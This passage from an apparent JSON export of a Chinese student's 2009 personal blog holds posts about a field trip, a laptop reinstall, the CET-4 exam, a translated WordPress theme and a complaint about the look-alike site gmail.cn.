如此，短小而且不凉快。再上，到烟霞洞，里面有许多的佛像。洞胖点有一座因为差异风化形成的象象山。再再上，到千人洞，洞旁有方解石矿脉，洞内深而且有泥岩渗入。解散后，我们又沿着山路到南高峰峰顶。有一亭子，我们在山上面大吼。下峰，到虎跑泉，本想进去，但嫌门票太贵，没进去，和T直接去了西湖。我们沿着苏堤走着，路上的风光无限美好，没不胜收啊。在湖边嬉戏，看孔雀开屏，到亭内休憩，还到KFC吃了一顿。走路到浙大附中，做Y5回学校，已经是5:40多了。吃饭，回宿舍，无话。\n未完待续……\n欲知后事如何，请继续关注本篇日志。\n","count":1125,"date":"2009年06月26日","featuredImage":null,"permalink":"https://imnerd.org/hangzhou-internship-running-account.html","summary":"\u003cp\u003e\u003cspan style=\"font-size:16px\"\u003e\u003cspan style=\"font-family:黑体\"\u003e　　纯流水帐，不感兴趣的可以忽略不计。没有照片，这两天就会放上。\u003c!-- m o r e --\u003e\u003c/span\u003e\u003c/span\u003e\u003c/p\u003e\n\u003cp\u003e\u003cspan style=\"font-size:16px\"\u003e\u003cspan style=\"font-family:黑体\"\u003e   6月27日，晴。6:30出发，离校，7:30到达抚北站，8:30做火车，11:00到达南昌，11:30拿到票解散。与班长一起，在华莱士海吃一顿，沿路走至八一广场，体验了一下夏日炎炎，观摩了一下八一纪念塔，高大而又宏伟。随后到沃尔玛超市，买了些东西，回八一广场，晒太阳。观喷泉，亚洲最大的喷泉，激情澎湃呀。吃晚饭，回火车站，在候车厅打牌，玩的不亦乐乎。到点，上候车厅，等车。上车，坐好，聊天。下一站，车位已乱，座位被一个老阿婆给占了。不好叫她起来，自己蹭同学位子去了。没过多久，位子又被一小孩给占了大半，汗，无语！去水池洗李子，结果两水池，一个坏了，一个水龙头被我拧开了，水哗哗的流，溅到旁边的阿婆身上，跟她说了一大堆的对不起，她还在那里说，讨厌，我自己都弄了一身我跟谁说去呀我！我冤不冤！经过无聊的等待，抵达重点。坐接送车到达之江学院，到宿舍，抹席子，扫地，吃饭，买东西，睡了一个下午，晚上开会，商讨了一些事，回宿舍，睡觉，一夜无话。\u003c/span\u003e\u003c/span\u003e\u003c/p\u003e","time":3,"title":"杭州实习的流水帐"},{"comments":{"data":[33],"errmsg":"","errno":0},"contents":"　额，联想F41A，也不会太差额，可是为什么总是被我搞死机？昨天，对，昨天，那个，某人让我帮他打份材料，结果，结果，显而易见，开个Word，小开个Execl，死机。某人我又是最没有耐心的人，就狠狠的按下了关机键4秒。重启，等待我的当然是华丽丽的蓝屏同学。（我发现，我98%重装系统都是因为系统没有正常关机导致的，汗一个！）这下我火了，虽然联想大哥很伟大，有个一键恢复，但是老这样装下去我真的会死的额。一不做，二不休，直接，出厂设置。嘿嘿，这就是惹火我的后果，哼！（不过结果可想而知，累死的还是我！5555~~~~）依旧是繁琐的步骤：等待，安装软件，补丁打上……无奈的是可爱的补丁兄竟然纠缠了我一个下午，无语！到这里，本本系统崩溃重装篇结束。\n话说，也是昨天，居然发现个很严重的问题，就是我的主板是支持USB启动的。（以前一直认为是不支持的，因为上面没有选项。结果是其实我没有插USB上去，当然没有，再对自己的无知汗一个！）赶紧把自己以前下的ubuntu用ultraISO写入到U盘里面。比较郁闷的是这里UltraISO居然和360同学合不来，有冲突。装上36o运行的话，UltraISO最后写入结果会应为什么设备忙原因而显示失败。必须卸载掉360（一切）。然后，没问题拉～～重启，USB-HDD启动，没问题，进入！哈哈！为自己笑一个（也只有现在能笑了）。安装Ubuntu又有一个伟大的错误，我华丽丽的以为这个其实是装在U盘里面的，结果，没想成，直接装在C盘里面去了！我当时那个无语额，因为Vista　C盘的格式是NTFS，而貌似Ubuntu要FAT或者是FAT32格式的。我当时那个吓额，看Vista出现黑屏，检查文件的完整度问题的时候，当时人真的是要瘫痪了样的。（连着两天重装系统，我肯定瘫痪！）还好，没什么问题，暂时是Ubuntu与Vista共存！（注意，只是暂时！）\n虽然装了Ubuntu，但是U盘没装着系统我实在是很郁闷。百毒了一下，发现Q3这个好东西，直接像安装文件一样安装系统，没问题，一路OK。重启动系统，USB-HDD启动，没问题，进入系统！返回Vista，将论坛里面的PE系统植入Q3中，这样，一个PE+Q3的多功能系统就制作好了，重启看下，发现没有问题，而且，那个PE，好强悍哦！超级精简版的XP!\n（有关Q3的详细情况请登录www.prayaya.com的V3俱乐部查询）\n上张Q3 同志的桌面照片吧，嘿嘿！\n好啦，到目前为止，我的系统情缘也该到此一段落了，可是，某人我又突然在BBS里面看到我前些天转载的文章那个，心理范痒，想要升级。想着反正刚刚还原，刚刚备份，正好可以拿来用，嘿嘿！文章：品牌笔记本预装VISTA家庭版升级旗舰版的方法 注意，是品牌机！\n等呀等呀等呀等，从上午等到下午，终于，华丽丽的Ultimate版Vsita就装在我的本本上面了，哈哈！兴奋啊，太兴奋啊！不过好像把C盘的Ubuntu给弄没了？哪里着都没找着，这就是我上面说暂时的原因，呵呵。而且，貌似那个Ubuntu的网络连接我搞不来啊，弄了半天都没好，就准备转移占地了。不管了，先好好玩下U版的Vista再说。\n放几张图上来给大家看看吧： 这个是CodySafe运行的效果，很透明风格吧！\n嗯，说道CodySafe，最近也研究的很透彻涅，其实跟Portableapps是一样的，P上的所有软件都可以装在C上，这点，我已经在rollom的博客上说过了，也要感谢rollom给我们推荐了这么好的软件。而且，大家也可以找些绿色软件装在上面。像我图上的Foxmail，Picasa，FlashFxp还有Z武器等都是我以前的绿色软件然后放在上面的。我还放了Dreamware8和PhotoShop CS2呢。特地到网上下了好多绿色版本的软件。对了，找绿色版本的软件的时候就找到了绿色杀毒软件杀毒额，当然，也在我论坛里面。喜欢听CodySafe按键的声音，听起来，特别的爽额！\n走题了走题了～～回来，继续贴图：\n这个是任务栏的窗口预览功能，也很不错的说～～\n嗯，预览的软件是MoWes　Portable，一款Web Sever软件，跟我上次推荐的Bitnami其实是一个性质的，能够为系统创造Wordpress运行的环境，只是，这款软件是移动版的，可以放在U盘里面拉。安装要注意的是，宿主（U盘插的电脑）应该必须没有其他的sever软件才行。（我系统还是XAMPP的残渣就似的MoWeS不能安装，还是这次系统崩溃重装后才成功的呢～！）没有Bitnami第一次快第二次后慢的情况。傻瓜，简单，不用管，我很喜欢！当然，依然是我们rollom大哥推荐的。嘿嘿！\n啊啊啊，又跑题了，是不是要加个跑题王和系统杀手两个外号给我？呵呵\n接着贴图：\n这个是开始菜单的透明效果，不过貌似不太清楚就是，汗！\n这个是窗体的透明效果，应该看的出来吧……再汗!\n后再来张转换窗口时的Aero效果。由于这个我裁剪不来，就到网上找了张，效果是一样的。希望大家不要见怪哈！\n最后再罗嗦一句：我发现我这两天做的事情还蛮多的嘛，写了这么多，比我的论文都还要长了，呵呵！有意义的两天！\nPS:图片已经改成了服务器上的了,不是Picasa上的.\n","count":2119,"date":"2009年06月24日","featuredImage":null,"permalink":"https://imnerd.org/destroy-my-books.html","summary":"\u003cp\u003e\u003cspan style=\"font-family:黑体\"\u003e\u003cspan style=\"font-size:16px\"\u003e　　额，联想F41A，也不会太差额，可是为什么总是被我搞死机？昨天，对，昨天，那个，某人让我帮他打份材料，结果，结果，显而易见，开个Word，小开个Execl，死机。某人我又是最没有耐心的人，就狠狠的按下了关机键4秒。重启，等待我的当然是华丽丽的蓝屏同学。（我发现，我98%重装系统都是因为系统没有正常关机导致的，汗一个！）这下我火了，虽然联想大哥很伟大，有个一键恢复，但是老这样装下去我真的会死的额。一不做，二不休，直接，出厂设置。嘿嘿，这就是惹火我的后果，哼！（不过结果可想而知，累死的还是我！5555~~~~）依旧是繁琐的步骤：等待，安装软件，补丁打上……无奈的是可爱的补丁兄竟然纠缠了我一个下午，无语！到这里，本本系统崩溃重装篇结束。\u003c!-- m o r e --\u003e\u003c/span\u003e\u003c/span\u003e\u003c/p\u003e","time":5,"title":"摧残我的本本"},{"comments":{"data":[35],"errmsg":"","errno":0},"contents":"　哈哈，终于考完了四级拉，可把我给憋死了，呵呵。乱写的，考的好不好不知道，估摸着如果这次没过的话下次就叫安帮我代考，呵呵（玩笑玩笑！　:)）我跟英语估计是一生无缘了，每次做英语试卷都会开小差，连四级上都不放过，汗颜！听力听了一半精神力量就消耗殆尽，准备进入休眠期去了，更加汗颜！我班上一女生比较倒霉，考试用的耳机居然是坏的，听力乱写的，还好她成绩较好，不过也很危险额！考完她当即就去买了个收音机去，嘿嘿！看它以后还会不会坏！啧啧，祷告，阿门！\n昨天晚上终于回寝室睡去了，结果，老天，竟然这么给我面子，在凌晨2点的时候，我们寝室居然光荣的断电了，哇噻，我都不知道要说什么才好，当场就被热醒了，强烈无语。本来还说集体搬迁的，要不然这天，还让不让人睡觉了？结果是找了三个好长好长的板插从大厅一直引到我们寝室，才解了我们寝室断电的燃眉之急。可是，可是，还是很热阿！都快被闷熟了，郁闷！沉沉的睡去，早上不到6点就醒来了，再汗一个，今天没考好，这里也有原因！嘿嘿！（阿哦，扯远了！）\nBBS里面贴了四级B卷的答案：2009年6月CET4-B恩波参考答案\n不多说了，补觉去了～～ z Z ","count":479,"date":"2009年06月20日","featuredImage":null,"permalink":"https://imnerd.org/english-4.html","summary":"\u003cp\u003e\u003cspan style=\"font-size:16px\"\u003e\u003cspan style=\"font-family:黑体\"\u003e　　哈哈，终于考完了四级拉，可把我给憋死了，呵呵。乱写的，考的好不好不知道，估摸着如果这次没过的话下次就叫安帮我代考，呵呵（玩笑玩笑！　:)）我跟英语估计是一生无缘了，每次做英语试卷都会开小差，连四级上都不放过，汗颜！听力听了一半精神力量就消耗殆尽，准备进入休眠期去了，更加汗颜！我班上一女生比较倒霉，考试用的耳机居然是坏的，听力乱写的，还好她成绩较好，不过也很危险额！考完她当即就去买了个收音机去，嘿嘿！看它以后还会不会坏！啧啧，祷告，阿门！\u003c/span\u003e\u003c/span\u003e\u003c/p\u003e","time":1,"title":"英语四级"},{"comments":{"data":[32],"errmsg":"","errno":0},"contents":"　咳咳，最近心情不大好，很烦，把自己锁在家里，锁在网络上，唉！前些天给博客加了个BBS，不知道大家看到了没有，看到了就去发几个帖子吧，我觉得还是不错的。平时大家都不大赞同博客里面全是转载的东西，可是论坛就没有这样的想法哦，大家可以尽情的水，嘿嘿！还有一件比较高兴的事就是，我终于把表情插件安装上去了，哈哈！果然这个主题就是不同凡响，专业人士就是专业人士。为了这个，我怎么也得高兴一下，嘿嘿！以前的两个博客小愿（评论嵌套和表情添加）也都实现了，真的很高兴拉！近期想要实现的是为我的院落加个导航页面，问了安，可是效果不是我想要的，问了群里面的人，没讨论出个结果出来。唉！纠结……\n","count":286,"date":"2009年06月19日","featuredImage":null,"permalink":"https://imnerd.org/courtyard-recent-changes.html","summary":"\u003cp\u003e　　\u003cspan style=\"font-size:16px\"\u003e\u003cspan style=\"font-family:黑体\"\u003e咳咳，最近心情不大好，很烦，把自己锁在家里，锁在网络上，唉！前些天给博客加了个BBS，不知道大家看到了没有，看到了就去发几个帖子吧，我觉得还是不错的。平时大家都不大赞同博客里面全是转载的东西，可是论坛就没有这样的想法哦，大家可以尽情的水，嘿嘿！还有一件比较高兴的事就是，我终于把表情插件安装上去了，哈哈！果然这个主题就是不同凡响，专业人士就是专业人士。为了这个，我怎么也得高兴一下，嘿嘿！以前的两个博客小愿（评论嵌套和表情添加）也都实现了，真的很高兴拉！近期想要实现的是为我的院落加个导航页面，问了安，可是效果不是我想要的，问了群里面的人，没讨论出个结果出来。唉！纠结……\u003c/span\u003e\u003c/span\u003e\u003c/p\u003e","time":1,"title":"院落最近改动"},{"comments":{"data":[8],"errmsg":"","errno":0},"contents":"　耳旁，是汽车发动机轰轰的声音，眼里，是一处处后退的风景。坐在前往龙虎山的客车上，我正闭目养神，为待会儿的“登山”做着准备。\n龙虎山－－我们第一次实习的目的地，国家级地质公园，道教发源地，还是很棒的旅游胜地。老师跟我们说，学地质的就是有这么一个好处，不仅可以免费游览祖国的大好河山，甚至还会有补贴。看着老师气定神闲地坐在那里，我开始幻想起以后的日子来了。　到了象鼻山的入口了。所见之物，都是各种奇形怪状的小山，有馒头型的，圆圆滑滑的，也有笔形的，笔直的竖立在那里，也有孔型的，或大或小。老师介绍说，这些都是风化作用的产物。刚刚踏入地质公园，一座栩栩如生的象鼻印入眼帘。前端细而弯，中间呈半椭圆形的中空，可不就像一只大象的鼻子么！老师说，这也是风化剥蚀的结果，柔软的岩石首先被冲刷剥蚀，剩下来那些坚硬的岩石，就形成了眼前看到的各种各样的山峰。往前，来到一个比较暴露的岩层面上，老师以此为例向大家展示了龙虎山，也是以龙华山为代表的丹霞地貌的主要岩石构造——红色砂岩（由于在缺氧状态下，所以呈红色）在河水的冲刷下由远及近呈由大到小的变化，长年累月如此，像这样一层一层的沉积下来，形成特有的粒序层理构造，具有良好的分选型和磨圆度。接着，还是利用那个层面，老师向我们详细讲述了利用罗盘测量产状三要素的办法，着重强调了指针的读法：在我国是上层面读北，而下次层面读南。\n向上走，来到一处亭子纳凉，又包揽了一下相比上的巧夺天工，许多同学趁此时此景疯狂拍照留念。继续向前迈进，发现有许许多多的小小的甬道，甬道之小，我们必须弯着腰才能通过。大家正在那里玩得不亦乐乎，只见某同学跑到老师跟前询问老师为什么会形成这样的小小的甬道。老师回答说是这是典型的崩塌地貌，简单说就是一座山峰到达压在附近的一座山峰上，形成了大小不一的甬道。看着仅容半个人通过的小甬道，感叹大自然的鬼斧神工。徒步前行，只觉得山路越来越陡，越来越窄，有些石质解题很窄，更是增加了些许难度。但这不是难度的难度在同学们眼里更是小菜一碟。只听同学们的欢声笑语充满了山间小道，远处是不是船缆同学们爽朗的小声。　走着走着，便到了畲家寨下。爬上哪窄小的解题，发现桑上真是别有洞天。畲家寨包括了几件小木屋和一座高塔。主房虚靖堂据说是张继先张天师修炼成道之地，而旁边的高塔看简介说是惯性之用。站于高塔之上，龙虎山之美景尽收眼底，美不胜收！\n出畲家寨，路过一线天，看了神龟翘首之后，竟就到了出口处！抱怨着事件太短的我们心不甘情不愿的走向出口处……我们在出口处集体拍照之后才依依不舍地坐上客车返回学校。\n此次龙虎山实习旅游，让我们参观了世界地质公园的同时，也包揽了龙虎山的风景，对祖国的大好河山满怀憧憬的我，坐在车上，开始了自己无边的畅想。\n（更多照片，请到院落的相册中查看！）\n","count":1143,"date":"2009年06月19日","featuredImage":null,"permalink":"https://imnerd.org/lung-fu-shan-travels-internship.html","summary":"\u003cp\u003e　　\u003cspan style=\"font-family:黑体\"\u003e\u003cspan style=\"font-size:16px\"\u003e耳旁，是汽车发动机轰轰的声音，眼里，是一处处后退的风景。坐在前往龙虎山的客车上，我正闭目养神，为待会儿的“登山”做着准备。\u003c/span\u003e\u003c/span\u003e\u003c/p\u003e\n\u003cp\u003e　　　　\u003cspan style=\"font-family:黑体\"\u003e\u003cspan style=\"font-size:16px\"\u003e龙虎山－－我们第一次实习的目的地，国家级地质公园，道教发源地，还是很棒的旅游胜地。老师跟我们说，学地质的就是有这么一个好处，不仅可以免费游览祖国的大好河山，甚至还会有补贴。看着老师气\u003c!-- m o r e --\u003e定神闲地坐在那里，我开始幻想起以后的日子来了。\u003ca href=\"http://lh3.ggpht.com/_A_ONO3v5Of8/ShZXzlV2mRI/AAAAAAAAAek/EuNxoRHapos/s800/CIMG2249.JPG\"\u003e\u003cimg class=\"alignright\" src=\"http://lh3.ggpht.com/_A_ONO3v5Of8/ShZXzlV2mRI/AAAAAAAAAek/EuNxoRHapos/s800/CIMG2249.JPG\" alt=\"CIMG2249.JPG\" width=\"509\" height=\"395\" /\u003e\u003c/a\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"font-family:黑体\"\u003e\u003c/span\u003e　　　\u003cspan style=\"font-family:黑体\"\u003e\u003cspan style=\"font-size:16px\"\u003e到了象鼻山的入口了。所见之物，都是各种奇形怪状的小山，有馒头型的，圆圆滑滑的，也有笔形的，笔直的竖立在那里，也有孔型的，或大或小。老师介绍说，这些都是风化作用的产物。刚刚踏入地质公园，一座栩栩如生的象鼻印入眼帘。前端细而弯，中间呈半椭圆形的中空，可不就像一只大象的鼻子么！老师说，这也是风化剥蚀的结果，柔软的岩石首先被冲刷剥蚀，剩下来那些坚硬的岩石，就形成了眼前看到的各种各样的山峰。往前，来到一个比较暴露的岩层面上，老师以此为例向大家展示了龙虎山，也是以龙华山为代表的丹霞地貌的主要岩石构造——红色砂岩（由于在缺氧状态下，所以呈红色）在河水的冲刷下由远及近呈由大到小的变化，长年累月如此，像这样一层一层的沉积下来，形成特有的粒序层理构造，具有良好的分选型和磨圆度。接着，还是利用那个层面，老师向我们详细讲述了利用罗盘测量产状三要素的办法，着重强调了指针的读法：在我国是上层面读北，而下次层面读南。\u003c/span\u003e\u003c/span\u003e\u003c/p\u003e\n\u003cp\u003e　　　　\u003cspan style=\"font-family:黑体\"\u003e\u003cspan style=\"font-size:16px\"\u003e向上走，来到一处亭子纳凉，又包揽了一下相比上的巧夺天工，许多同学趁此时此景疯狂拍照留念。继续向前迈进，发现有许许多多的小小的甬道，甬道之小，我们必须弯着腰才能通过。大家正在那里玩得不亦乐乎，只见某同学跑到老师跟前询问老师为什么会形成这样的小小的甬道。老师回答说是这是典型的崩塌地貌，简单说就是一座山峰到达压在附近的一座山峰上，形成了大小不一的甬道。看着仅容半个人通过的小甬道，感叹大自然的鬼斧神工。徒步前行，只觉得山路越来越陡，越来越窄，有些石质解题很窄，更是增加了些许难度。但这不是难度的难度在同学们眼里更是小菜一碟。只听同学们的欢声笑语充满了山间小道，远处是不是船缆同学们爽朗的小声。\u003c/span\u003e\u003c/span\u003e　　\u003ca href=\"http://lh3.ggpht.com/_A_ONO3v5Of8/ShZamISQepI/AAAAAAAAAm4/sDAp2cbVcBg/s800/DSC00375.JPG\"\u003e\u003cimg class=\"alignleft\" src=\"http://lh3.ggpht.com/_A_ONO3v5Of8/ShZamISQepI/AAAAAAAAAm4/sDAp2cbVcBg/s800/DSC00375.JPG\" alt=\"DSC00375.JPG\" width=\"601\" height=\"377\" /\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e\u003cspan style=\"font-family:黑体\"\u003e\u003cspan style=\"font-size:16px\"\u003e走着走着，便到了畲家寨下。爬上哪窄小的解题，发现桑上真是别有洞天。畲家寨包括了几件小木屋和一座高塔。主房虚靖堂据说是张继先张天师修炼成道之地，而旁边的高塔看简介说是惯性之用。站于高塔之上，龙虎山之美景尽收眼底，美不胜收！\u003c/span\u003e\u003c/span\u003e\u003c/p\u003e\n\u003cp\u003e　　　　\u003cspan style=\"font-family:黑体\"\u003e\u003cspan style=\"font-size:16px\"\u003e出畲家寨，路过一线天，看了神龟翘首之后，竟就到了出口处！抱怨着事件太短的我们心不甘情不愿的走向出口处……我们在出口处集体拍照之后才依依不舍地坐上客车返回学校。\u003c/span\u003e\u003c/span\u003e\u003c/p\u003e\n\u003cp\u003e　　　　\u003cspan style=\"font-family:黑体\"\u003e\u003cspan style=\"font-size:16px\"\u003e此次龙虎山实习旅游，让我们参观了世界地质公园的同时，也包揽了龙虎山的风景，对祖国的大好河山满怀憧憬的我，坐在车上，开始了自己无边的畅想。\u003c/span\u003e\u003c/span\u003e\u003c/p\u003e\n\u003cp\u003e\u003cspan style=\"font-family:黑体\"\u003e\u003cspan style=\"font-size:16px\"\u003e（更多照片，请到院落的相册中查看！）\u003ca href=\"http://picasaweb.google.com/secretlzm007/FWwxfD#5338554019399891602\"\u003e\u003c/a\u003e\u003c/span\u003e\u003c/span\u003e\u003c/p\u003e","time":3,"title":"龙虎山实习游记"},{"comments":{"data":[20],"errmsg":"","errno":0},"contents":"嗯，怎么说呢，我一向是奉行拿来主义的人拉！\n打夜班把它给汉化了，发现某些东西还是挺有趣的嘛！嘿嘿\n不多说了，大家要想下的就下去把。\n应该说，大部分能够想到的地方我都汉化了，有些虽然看到了，但不知道是干什么的，也就没敢乱汉。有些翻译还是非常的生硬，而且有些错误，我认为的，但是网上没找着\u0026hellip;\u0026hellip;.\n说了这么多，意思就是说，最好自己再改下就好多了，呵呵。\nInanis Glass\rv1.3 - Glass-like theme for WP 2.6+. 2 col. fixed w/right sidebar, widget \u0026amp; multi-language ready, 7 reader selectable themes saved by cookie, and default sub-theme is admin selectable. Admin selectable picture. README FIRST!Created by Inanis.\r下载地址： Preview | Download(En) | [download id=\"1\"](Ch)\r","count":232,"date":"2009年06月17日","featuredImage":null,"permalink":"https://imnerd.org/inanis-glass-son-of-chinese-version.html","summary":"\u003cp\u003e嗯，怎么说呢，我一向是奉行拿来主义的人拉！\u003c/p\u003e\n\u003cp\u003e打夜班把它给汉化了，发现某些东西还是挺有趣的嘛！嘿嘿\u003c/p\u003e\n\u003cp\u003e不多说了，大家要想下的就下去把。\u003c/p\u003e\n\u003cp\u003e应该说，大部分能够想到的地方我都汉化了，有些虽然看到了，但不知道是干什么的，也就没敢乱汉。有些翻译还是非常的生硬，而且有些错误，我认为的，但是网上没找着\u0026hellip;\u0026hellip;.\u003c/p\u003e","time":1,"title":"Inanis Glass公子汉化版"},{"comments":{"data":[19],"errmsg":"","errno":0},"contents":"先报告下山寨网址：http://gmail.cn\r平时一直都是通过http://google.cn上Gmail的，今天突发奇想，就登了下gmail.cn，发现可以登录，欣慰一下后发现这个网页的风格怎么跟Google一点都不像？开始还说Google也做的这么本土化了？可还是不像啊，特别是下面的新闻，怎么看怎么不像。\r看到旁边有企业邮箱注册，就点了下，进入了下面的网址，至此才明白根本不是Google嘛！郁闷死了，我就说Google怎么什么时候做的这么大众化，本土化，中国化了，原来是个山寨！\r上百度搜了搜Gmail中国，还真有很多信息，摘几条给大家看看吧。\r最近，互联网行业出现了一家“Gmail中国”网站，这家站点因与名称上（Gmail）与网民熟知的Google专业电子邮箱服务相近被视为“仿冒网站”，此事引起了业内的争议。 针对Gmail.cn被疑为仿冒网站一事，爱思美公司昨日发表声明，称Gmail.cn与Google无任何关系。 在声明中，爱思美公司表示，其注册并经营的gmail.cn域名，注册于2003年，至今一直提供电子邮箱服务。其Gmail的意义为Global Mail，即环球邮箱，与Google所提供的G级邮箱不同。 爱思美公司的相关人员告诉笔者，爱思美公司是一家以开发多语言电子邮件及计算机软件为主营业务的高新技术企业，早在2002年，他们开发出的爱思美global电子邮局系统已经向国家版权局申请了版权保护。这个Global电子邮局系统，也即Globalmail，是指能够支持全球56种语言的多语言电子邮件。在2003年，公司又将Globalmail缩写为Gmail，并且推出了Gmail.cn的中文电子邮件系统。 在2004年google推出Gmail时，Gmail.cn的域名已经被爱思美公司注册了。虽然，同样是邮箱服务，但是此Gmail非彼Gmail。 爱思美（ISM）和Gmail.cn简介： 爱思美中国是中国最大的互联网服务供应商之一，目前为国内超过十万的用户提供域名注册及网站服务。作为最大的CNNIC授权的全球域名注册商之一，爱思美中国提供全套综合式互联网服务，主要包括：域名注册及管理、虚拟主机、网站建设、企业邮箱、博客、宽频播客、大头贴、相册、交友等以及数字认证等服务。 2001年9月爱思美中国与互联网域名体系最高管理机构(ICANN)达成合作，2002年1月成为CN域名最高管理机构CNNIC认证的注册商,是中国最大的提供国际顶级域名（gTLDs）、国家域名(ccTLDs)注册服务商。爱思美中国为用户提供7天24小时的技术支持，免费的域名转发、电子邮件转发、域名解析服务以及用户管理后台等配套式服务。 爱思美中国多年的服务经验，建立起强大的技术服务体系。2003年爱思美中国与CNNIC正式签订了战略性技术合作协议，同年与CNNIC以及搜狐、网易,百度,腾讯（QQ）等国内知名互联网厂商联合推出《关键词网络定位服务解析协议规范》。 爱思美中国企业邮箱以及Gmail具有品牌的电子邮箱服务，为用户提供各种解决方案并支持多种收发方式(POP, WebMail)，以及病毒防护和邮件转发功能。邮件防护包括：反垃圾邮件，防病毒以及邮件服务器软硬件防护，并提供后台管理等功能。其中Gmail.cn是国内最具盛名的电子邮件系统之一，该电子邮件系统拥有国家专利技术，符合IETF国际标准，并支持全球大多数语言，以其超强的反垃圾、防病毒功能，管理便捷、安全可靠，信件传输稳定，同时支持中文电子邮件地址，支持中文域名和通用网址。 Gmail中国的李鬼【爱思美（北京）信息科技有限公司】Googlemail的免费邮箱收费谋取非法利益\r我是一个普通的gmail.com邮箱用户，感觉gmail.com邮箱非常好用。所以也打算申请个作用工作邮箱。\r误打误撞进入gmail.cn （其实gmail.cn和gmail.com ，不是一个公司。前者为爱思美（北京）信息科技有限公司，后者才是正宗的google mail ）， 当时我还不知道两个网址有什么不同，就进去花了　1300　圆，买了650圆/年，两年的服务。服务网址为http://www.1997.cn/promotion/gmailEnter.html\r等到gmail.cn给我开通后， 我才发现，他所谓的收费企业邮箱，就是gmail.com的免费企业套件。\r然后打电话给他们的客服人员王娜小姐联系，对方又想忽悠我一番，说什么你买了我的服务，享受我的技术和指导，享受99.9%稳定率之类的话。 又说你花钱了百花，我们不退钱。\r各位网友注意了， Gmail.cn是个不折不扣的李鬼，他非法收取客户费用，然后再在gmail.com上面开设个免费标准版企业邮箱给你使用。还口口声声说他们就是gmail.com的销售商\r这好比，你到户外去放风筝， 有人过来说风是他吹过来的，收你650圆一次的起风费。\r我要拿回被Gmail中国的李鬼【爱思美（北京）信息科技有限公司】 骗去的钱！！\r这下子，弄的谷歌是郁闷无比了吧，嘿嘿，谁叫那Gmail中国这小妮子比Google大哥早一年就把这个域名注册了呢！不过谷歌也慢的可以，中国这么大的市场，等别人把自己的域名都注册完了才进驻，我都对它无语了。谷歌谷歌，还是慢了一拍哦！\r","count":2149,"date":"2009年06月16日","featuredImage":null,"permalink":"https://imnerd.org/today-a-more-cottage-see-web-site.html","summary":"\u003cdiv style=\"text-indent: 2em\"\u003e\u003cspan style=\"color: #669900\"\u003e\u003cspan style=\"font-size: 16px\"\u003e\u003cspan style=\"font-family: 黑体\"\u003e先报告下山寨网址：\u003ca href=\"http://gmail.cn\"\u003ehttp://gmail.cn\u003c/a\u003e\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/div\u003e\r\n\u003cdiv style=\"text-indent: 2em\"\u003e\u003cspan style=\"color: #669900\"\u003e\u003cspan style=\"font-size: 16px\"\u003e\u003cspan style=\"font-family: 黑体\"\u003e平时一直都是通过\u003ca href=\"http://google.cn\"\u003ehttp://google.cn\u003c/a\u003e上Gmail的，今天突发奇想，就登了下gmail.cn，发现可以登录，欣慰一下后发现这个网页的风格怎么跟Google一点都不像？开始还说Google也做的这么本土化了？可还是不像啊，特别是下面的新闻，怎么看怎么不像。\u003c!-- m o r e --\u003e\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/div\u003e\r\n\u003cspan style=\"color: #669900\"\u003e\u003cspan style=\"font-size: 16px\"\u003e\u003cspan style=\"font-family: 黑体\"\u003e \u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\r\n\u003cdiv style=\"text-indent: 2em\"\u003e\u003cspan style=\"color: #669900\"\u003e\u003cspan style=\"font-size: 16px\"\u003e\u003cspan style=\"font-family: 黑体\"\u003e\u003ca href=\"http://picasaweb.google.com/secretlzm007/2?locked=true#5347789512855998626\"\u003e\u003cimg src=\"https://imnerd.org/assets/migration/lh6.ggpht.com/_A_ONO3v5Of8/SjcqOmdXUKI/AAAAAAAAA8U/Ou9bBnyl4HI/s800/gmail%E4%B8%AD%E5%9B%BD.jpg\" alt=\"gmail中国.jpg\" width=\"697\" height=\"504\" /\u003e\u003c/a\u003e\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/div\u003e\r\n\u003cdiv style=\"text-indent: 2em\"\u003e\u003cspan style=\"color: #669900\"\u003e\u003cspan style=\"font-size: 16px\"\u003e\u003cspan style=\"font-family: 黑体\"\u003e \u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/div\u003e\r\n\u003cdiv style=\"text-indent: 2em\"\u003e\u003cspan style=\"color: #669900\"\u003e\u003cspan style=\"font-size: 16px\"\u003e\u003cspan style=\"font-family: 黑体\"\u003e看到旁边有企业邮箱注册，就点了下，进入了下面的网址，至此才明白根本不是Google嘛！郁闷死了，我就说Google怎么什么时候做的这么大众化，本土化，中国化了，原来是个山寨！\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/div\u003e\r\n\u003ca href=\"http://picasaweb.google.com/secretlzm007/2?locked=true#5347789155289992370\"\u003e\u003cimg src=\"https://imnerd.org/assets/migration/lh6.ggpht.com/_A_ONO3v5Of8/Sjcp5ya_DLI/AAAAAAAAA8Q/xQrmfam-o-U/s800/gmail%E4%BC%81%E4%B8%9A%E9%82%AE%E7%AE%B1.jpg\" alt=\"gmail企业邮箱.jpg\" width=\"674\" height=\"616\" /\u003e\u003c/a\u003e\r\n\u003ch3\u003e \u003c/h3\u003e\r\n\u003ch3\u003e上百度搜了搜Gmail中国，还真有很多信息，摘几条给大家看看吧。\u003c/h3\u003e\r\n\u003cul\u003e\r\n\t\u003cli\u003e\r\n\u003cblockquote\u003e\r\n\u003cdiv style=\"PADDING-LEFT: 30px\"\u003e\u003cspan style=\"color: #0000ff;\"\u003e最近，互联网行业出现了一家“Gmail中国”网站，这家站点因与名称上（Gmail）与网民熟知的Google专业电子邮箱服务相近被视为“仿冒网站”，此事引起了业内的争议。 针对Gmail.cn被疑为仿冒网站一事，爱思美公司昨日发表声明，称Gmail.cn与Google无任何关系。 在声明中，爱思美公司表示，其注册并经营的gmail.cn域名，注册于2003年，至今一直提供电子邮箱服务。其Gmail的意义为Global Mail，即环球邮箱，与Google所提供的G级邮箱不同。 爱思美公司的相关人员告诉笔者，爱思美公司是一家以开发多语言电子邮件及计算机软件为主营业务的高新技术企业，早在2002年，他们开发出的爱思美global电子邮局系统已经向国家版权局申请了版权保护。这个Global电子邮局系统，也即Globalmail，是指能够支持全球56种语言的多语言电子邮件。在2003年，公司又将Globalmail缩写为Gmail，并且推出了Gmail.cn的中文电子邮件系统。 